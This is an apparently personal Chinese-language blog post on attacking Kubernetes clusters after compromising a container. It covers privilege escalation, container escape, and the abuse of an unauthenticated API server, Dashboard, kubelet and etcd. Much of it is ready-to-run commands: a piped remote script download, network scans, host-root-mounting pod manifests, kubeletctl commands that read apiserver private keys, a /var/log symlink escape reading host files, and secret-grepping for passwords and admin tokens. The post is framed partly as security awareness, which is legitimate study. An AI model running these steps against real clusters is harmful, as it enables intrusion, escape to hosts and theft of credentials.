azraelxuemo's Studio.

k8s攻防

2023/11/14

前言

以前一有RCE的漏洞可能大家都会精神高度紧绷,但由于容器技术的成熟,很多时候可能RCE的并不是一个主机,而只是一个单独的业务pod。特别是像函数计算,流水线等等场景,你可以直接获得容器的权限,这也导致我们的安全边界有所划分。在我看来,我们可以完全把所有的业务容器当作外部攻击者可以随意控制,把安全边界划分到业务容器和我们企业内部这个边界这里。所以做好容器层面以及容器编排就十分重要。这篇文章主要是以攻击者的角度来分析当攻击者获取了容器的权限,如何进一步把自己的攻击影响范围扩大。如果您是云安全的爱好者,希望您可以从这篇文章里面有所收获。

攻击面分析

一般当我获取到了容器权限,我会以纵向和横向两个方向来切入。纵向主要是以提权逃逸为主,有时候我们反弹shell了可能权限不一定是root,这个时候就需要提权,当然更多时候是以root为主,这个时候就可以考虑逃逸到宿主机上。那么横向攻击就是横向移动,由于大多数业务场景没有做好网络隔离,那么可能我们的pod可以访问到其他的业务服务,同时在k8s的环境下,往往我们可以访问到api server等等服务,这个时候就会带来新的安全风险。

纵向攻击

提权

在实际场景中,可能我们rce之后到容器里获得的不是root权限,那么我们就需要先在容器里进行提权,获取容器的root权限,这里简单分享一下思路和工具。

linpeas

这个工具专门为提权而生,他可以检查一些常见的比如说suid,pkexec等,还会收集比如说k8s token,ak/sk等敏感信息

1
2
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash ./linpeas.sh

crontab提权

定时任务在容器里面比较场景,可能我们需要定时去执行某些任务,但是由于so依赖的问题,可能这个定时任务脚本用户不一定有权限修改,但是他依赖的so用户是可以修改的,那么我们可以通过so劫持,当下次定时任务执行的时候,他依赖的恶意so会反弹shell,导致提权

RPATH提权

RPATH全称是run-time search path它规定了可执行文件在寻找.so文件时的第一优先位置,如果RPATH配置不当,也会导致跟上面crontab提权类似的场景,因为有些应用是root服务启动的,比如说一些监控应用,这些服务大概率会伴随着系统重启而自动运行,那么我们通过RPATH劫持NEEDED的so,达到提权的效果

1
readelf -d binary_path|egrep 'NEEDED|RPATH'

截屏2023-11-28 20.18.13.png

容器逃逸

容器逃逸具体的一些常见的攻击手法可以参考上一篇文章,这里主要是介绍实际当中我们如何去发现可以逃逸的点

linpeas

在提权部分介绍的工具在容器逃逸的场景也适用,他也会做一些跟逃逸有关的检查,比如说他会去帮我们查看Cap权限,帮我们查看mount的信息等等

CDK

https://github.com/cdk-team/CDK

1
./cdk eva --full

cdk也是一款很厉害的逃逸检查工具,之前使用它成功检测出docker.sock挂载逃逸

大权限的service account

由于k8s默认会挂载service account,在一般场景里面,只有kube-system里面的pod挂载的account为大权限,普通的pod里面的都是小权限



但实际场景可能不小心给这个service account设置了大权限,所以如果看到挂载的token,可以先试一下~

横向攻击

在很多场景里,容器层面加固其实做的还不错,可能没有给容器挂载比较敏感内容,没有赋予危险的Cap,导致我们可能纵向攻击一整个失败。那么不要灰心,我们直接来进行横向攻击。
横向攻击主要涉及的是网络隔离的问题,大多数时候,业务方可能不会主动去做网络隔离,因为网络隔离会使运维等等一些操作十分不方便,并且网络隔离做起来也十分麻烦,因为有些链路需要保证畅通,有些不必要的可以隔离。

扫描网段

那么横向攻击第一步要考虑的是,打什么,我怎么知道要扫哪些ip段
可以通过下面几个配置来查看

  • 环境变量里的主机ip网段
  • /etc/hosts里的网段
  • /etc/resolv.conf里的网段

知道要打的ip段,那么我把ip段分为,k8s ip段和业务ip段

k8s

通常pod里面的环境变量会保存api server的ip,那么我们可以扫描api server这一网段的ip来发现有没有可以利用的服务
工具就使用fscan就好

1
fscan -h 172.17.0.0/16

一般k8s默认做了鉴权,所以我们访问也不能像普通访问web一样,那么这里我先介绍k8s常见的两种认证方式的使用访问

认证

token认证

k8s默认会挂载serviceaccount,可以在下面两个位置发现,他的值是BASE64编码的结果
/var/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/token
实际不一定有kubectl命令,我们可以通过curl访问
这里具体访问的url可以通过在我们本地的k8s环境里面获得

1
kubectl get pods -A -v=8

在返回内容里面我们可以看到请求的具体uri

1
2
TOKEN="eyJhbG"
curl -ivk -H "Authorization: Bearer $TOKEN" https://192.168.0.222:6443/api/v1/pods?limit=500

当然我们也可以上传一个kubectl,然后配置一个kubeconfig,这里面users的name是随便取的,只需要修改token即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
apiVersion: v1
clusters:
- cluster:
insecure-skip-tls-verify: true
server: https://192.168.2.129:6443
name: kubernetes
contexts:
- context:
cluster: kubernetes
user: admin
name: admin
current-context: admin
kind: Config
preferences: {}
users:
- name: admin
user:
token:

然后正常输入命令即可

1
kubectl --kubeconfig=config.yaml get pods -A
证书认证

在$HOME/.kube/config里面会保存着k8s的配置文件,如果有kubectl命令就直接正常运行即可,但如果没有kubectl的话,可以使用curl

1
2
3
cat /root/.kube/config|grep certificate-authority-data|awk '{ print $2}'|base64 -d > ca.crt
cat /root/.kube/config|grep client-certificate-data|awk '{ print $2}'|base64 -d >client.crt
cat /root/.kube/config|grep client-key-data|awk '{ print $2}'|base64 -d >client.key
1
curl --cacert ca.crt --cert client.crt  --key client.key https://192.168.0.222:6443/api/v1/pods?limit=500

当然大家可能还是都先麻烦,所以还是直接下个kubectl吧
https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux

api server未授权

http

API Server是集群控制核心,各组件通过API Server进行交互
在新版本k8s中,8080的http默认不启动,如果用户在/etc/kubernetes/manifests/kube-apiserver.yaml中把–insecure-port=0改为–insecure-port=8080并重启API server(最新版本没有insecure-port,加上就好)

1
2
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
1
2
systemctl daemon-reload
systemctl restart kubelet

到达8080的请求将绕过所有认证和授权模块
因为不需要认证,我们直接创建一个挂载宿主机根目录的pod即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash

cat << EOF > escape.yaml
apiVersion: v1
kind: Pod
metadata:
name: attacker
spec:
containers:
- name: ubuntu
image: ubuntu:latest
imagePullPolicy: IfNotPresent
# Just spin & wait forever
command: [ "/bin/bash", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumeMounts:
- name: escape-host
mountPath: /host-escape-door
volumes:
- name: escape-host
hostPath:
path: /
EOF

kubectl -s 127.0.0.1:8080 apply -f escape.yaml
sleep 8
kubectl -s 127.0.0.1:8080 exec -it attacker /bin/bash

上面是创建了一个pod,也可以创建一个Deployment,同样还是直接apply -f 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
apiVersion: apps/v1
kind: Deployment
metadata:
name: ubuntu-deployment
spec:
replicas: 1
selector:
matchLabels:
app: ubuntu
template:
metadata:
labels:
app: ubuntu
spec:
containers:
- name: ubuntu
image: ubuntu:latest
imagePullPolicy: IfNotPresent
command: [ "/bin/bash", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumeMounts:
- name: escape-host
mountPath: /host-escape-door
volumes:
- name: escape-host
hostPath:
path: /
https

一般来说https不存在未授权,但如果这样配置之后

1
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

相当于就让匿名用户获得了cluster-admin的权限,这种在实际场景里面比较少见,一定不能这样配置
这样配置就会导致你命用户也可以获取所有的资源

1
kubectl --insecure-skip-tls-verify -s https://192.168.2.129:6443 get pods -A

Dashboard未授权

从1.10.1版本起,dashboard默认禁用了跳过按钮,然而用户在运行Dashboard添加了–enable-skip-login,那么攻击者就可以点击跳过登录Dashborard
而使用recommended.yaml创建的Dashboard是可靠的,即使跳过也无法操作
我们找到一个老一点版本的Dashboard

1
https://github.com/kubernetes/dashboard/blob/v1.10.0/src/deploy/alternative/kubernetes-dashboard.yaml

修改配置

1
kubectl -n kube-system edit service kubernetes-dashboard


改成NodePort

查看对应的dashboard端口,可以看到是32055


可以看到直接就匿名登录进来了,这里面我们就可以创建一个挂载宿主机根目录的容器进行逃逸,也可以直接从容器组里面访问容器执行命令
由于默认权限下dashboard的权限比较低,我们测试的时候修改成超级权限,当然实际业务不要这样做

1
2
kubectl delete rolebinding kubernetes-dashboard-minimal -n kube-system
kubectl create clusterrolebinding dashboard-cluster-admin --clusterrole=cluster-admin --serviceaccount=kube-system:kubernetes-dashboard

kubelet未授权

10250

kubelet是节点代理,负责向API Server注册所在节点,kubelet同样运行API服务,默认在10250,其他组件可以通过调用API改变集群状态
/var/lib/kubelet/config.yaml
一般会把anounymou-auth设为false,即禁止匿名用户访问
并authroization设置mode为webhook,使kubelet通过API Server进行授权(即使匿名用户可以访问,也没有任何权限)

这个时候没有认证是无法使用的

如果设置anonymous-enabled为true,webhook-enabled为false,并且authorization-mode为AlawaysAllow

修改完以后重启

1
systemctl restart kubelet


这个时候我们可以先下载一个kubeletctl

1
curl https://github.com/cyberark/kubeletctl/releases/download/v1.8/kubeletctl_linux_amd64 -Lo kubeletctl
1
./kubeletctl pods -s 192.168.2.129 -i #加上-i忽略本身的配置文件


我们在kube-apiserver-ubuntu上执行命令读取配置文件

1
2
3
./kubeletctl run "cat /etc/kubernetes/pki/ca.crt" -p kube-apiserver-ubuntu  -c kube-apiserver -n kube-system -s 192.168.2.129 -i >ca.crt
./kubeletctl run "cat /etc/kubernetes/pki/apiserver-kubelet-client.crt" -p kube-apiserver-ubuntu -c kube-apiserver -n kube-system -s 192.168.2.129 -i >apiserver-kubelet-client.crt
./kubeletctl run "cat /etc/kubernetes/pki/apiserver-kubelet-client.key" -p kube-apiserver-ubuntu -c kube-apiserver -n kube-system -s 192.168.2.129 -i >apiserver-kubelet-client.key

获得到key之后运行命令,这之前需要删除一下旧的~/.kube/config

1
2
mv ~/.kube/config ~/.kube/config.bk
kubectl --server=https://192.168.2.129:6443 --certificate-authority=./ca.crt --client-certificate=./apiserver-kubelet-client.crt --client-key=./apiserver-kubelet-client.key get pods


接下来我们按照之前的攻击手法,创建一个挂载根目录的容器进行逃逸

10255

kubelet 10255只读端口,用于查询pods信息,但这些信息中会包含环境变量等敏感信息
http://ip:10255/pods
截屏2023-11-28 21.01.24.png
截屏2023-11-28 21.01.57.png
http://ip:10255/metrics 还有一个metrics,不过还是pods里面敏感信息多

etcd未授权

etcd分为v2和v3协议,使用的存储方式完全不同,所以两个版本的数据并不兼容,对外提供的接口也是不一样的,不同版本的数据是相互隔离的

v2

可以直接用http的方式访问
http://ip:2379/v2/keys/?recursive=true
截屏2023-11-29 09.58.34.png
可以看到对应的key和value

v3

这里我们需要使用etcdctl工具
只列出key

1
./etcdctl --endpoints=http://ip:2379/ get / --prefix  --keys-only

列出key和对应的value

1
./etcdctl --endpoints=http://ip:2379/ get / --prefix

截屏2023-11-28 21.13.09.png

k8s挂载/var/log逃逸

要满足以下条件

  • 挂载了/var/log
  • 容器是在一个 k8s 的环境中
  • 当前 pod 的 serviceaccount 拥有 get|list|watch log 的权限
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    apiVersion: v1
    kind: ServiceAccount
    metadata:
    name: logger
    ---
    apiVersion: rbac.authorization.k8s.io/v1
    kind: ClusterRole
    metadata:
    name: user-log-reader
    rules:
    - apiGroups: [""]
    resources:
    - nodes/log
    verbs: ["get", "list", "watch"]
    ---
    apiVersion: rbac.authorization.k8s.io/v1
    kind: ClusterRoleBinding
    metadata:
    name: user-log-reader
    roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: user-log-reader
    subjects:
    - kind: ServiceAccount
    name: logger
    namespace: default
    ---
    apiVersion: v1
    kind: Pod
    metadata:
    name: escaper
    spec:
    serviceAccountName: logger
    containers:
    - name: escaper
    image: danielsagi/kube-pod-escape
    volumeMounts:
    - name: logs
    mountPath: /var/log/host
    volumes:
    - name: logs
    hostPath:
    path: /var/log/
    type: Directory
漏洞原理
1
kubectl exec --stdin --tty escaper -- /bin/bash

这里我们首先给予这个pods get list watch查看日志的能力
由于kubelet的访问需要认证,所以我们找到token

1
2
token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k https://172.17.0.1:10250/logs/ -H "Authorization: Bearer $token"

可以看到有许多log

这里我们只有logs的权限,没有其他的权限

下面是kubectl logs的原理

我们输入的实际路径为/logs/加上路径
而这里我们直接访问logs他其实看到的就是/var/logs整个目录
然后如果是符号连接的话,他最后其实会在宿主机上解析(kubelet运行在宿主机环境)

这个时候如果我们能够修改这些文件,并把他们变成符号链接
当我们通过kubelet访问的时候,由于kubelet是在宿主机本地解析,就导致我们可以指向任意目录

漏洞复现

因为需要我们能够修改/var/log,所以需要挂载/var/log

1
2
3
kubectl exec --stdin --tty escaper -- /bin/bash
find / -name lastlog 2>/dev/null | wc -l | grep -q 3 && echo "/var/log is mounted." || echo "/var/log is not mounted."
cd /var/log/host


然后我们创建一个符号链接

1
ln -s / ./root_link



可以看到宿主机的/var/log因为被挂载导致修改,这个时候我们在利用kubelet去访问,root_link会解析到宿主机/导致任意文件读取

1
2
3
token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k https://172.17.0.1:10250/logs/root_link/ -H "Authorization: Bearer $token"
curl -k https://172.17.0.1:10250/logs/root_link/etc/passwd -H "Authorization: Bearer $token"



挂载log之后敏感文件窃取
https://github.com/danielsagi/kube-pod-escape/blob/master/find_sensitive_files.py

RBAC权限配置不当

当我们拿到token之后,可以用如下命令查看当前权限

1
kubectl --kubeconfig=config.yaml auth can-i --list

截屏2023-11-28 20.25.17.png
如果我们当前的权限很小,比如说没有pod之类的权限,但是因为权限配置不当让我们有读取secret的权限,那么我们可以试图从secret里找一些可以用的敏感信息,包括但不限于大权限的service account、ak\sk、系统账密等

1
kubectl get secret -A

截屏2023-11-28 20.47.56.png
获取某个secret的具体内容

1
kubectl describe secret default-token-6q6nt -n default

下面的token就可以直接拿来使用
截屏2023-11-28 20.48.35.png
通过describe获取secret内容,有些字段可能不显示,需要利用get

1
kubectl get secret default-token-6q6nt -o yaml

但是这种方法获取的值都是base64 encode过的,需要我们手动base64 decode再来使用
截屏2023-11-29 10.46.58.png
我们可以直接通过这种方法来搜索secret的一些内容,看看有没有绑了cluster-admin大权限的account

1
kubectl get secret -A -o yaml   |grep admin

当然也可以直接搜索password等关键字

1
kubectl get secret -A -o yaml   |grep password

但是注意获取到值之后别忘了base64 decode一下,才是真正的密码
截屏2023-11-29 10.42.45.png

业务网段

业务网段一遍会出现如下可能的问题
ssh弱密码
ftp弱密码
mysql弱密码
nacos未授权
redis未授权,弱密码…
攻击者可能利用这些漏洞导致影响面扩大

Last but not least

有时候,可能一个不起眼、无关紧要的配置,导致一个重大的安全事件。安全确实让人看起来很繁琐,他制定了很多规范,让本来可以简化的操作复杂。但我们所做的一切,也是为了让整个系统更加安全,保障客户、公司的利益。

CATALOG
  1. 1. 前言
  2. 2. 攻击面分析
    1. 2.1. 纵向攻击
      1. 2.1.1. 提权
        1. 2.1.1.1. linpeas
        2. 2.1.1.2. crontab提权
        3. 2.1.1.3. RPATH提权
      2. 2.1.2. 容器逃逸
        1. 2.1.2.1. linpeas
        2. 2.1.2.2. CDK
        3. 2.1.2.3. 大权限的service account
    2. 2.2. 横向攻击
      1. 2.2.1. 扫描网段
      2. 2.2.2. k8s
        1. 2.2.2.1. 认证
          1. 2.2.2.1.1. token认证
          2. 2.2.2.1.2. 证书认证
        2. 2.2.2.2. api server未授权
          1. 2.2.2.2.1. http
          2. 2.2.2.2.2. https
        3. 2.2.2.3. Dashboard未授权
        4. 2.2.2.4. kubelet未授权
          1. 2.2.2.4.1. 10250
          2. 2.2.2.4.2. 10255
        5. 2.2.2.5. etcd未授权
          1. 2.2.2.5.1. v2
          2. 2.2.2.5.2. v3
        6. 2.2.2.6. k8s挂载/var/log逃逸
          1. 2.2.2.6.1. 漏洞原理
          2. 2.2.2.6.2. 漏洞复现
        7. 2.2.2.7. RBAC权限配置不当
      3. 2.2.3. 业务网段
  3. 3. Last but not least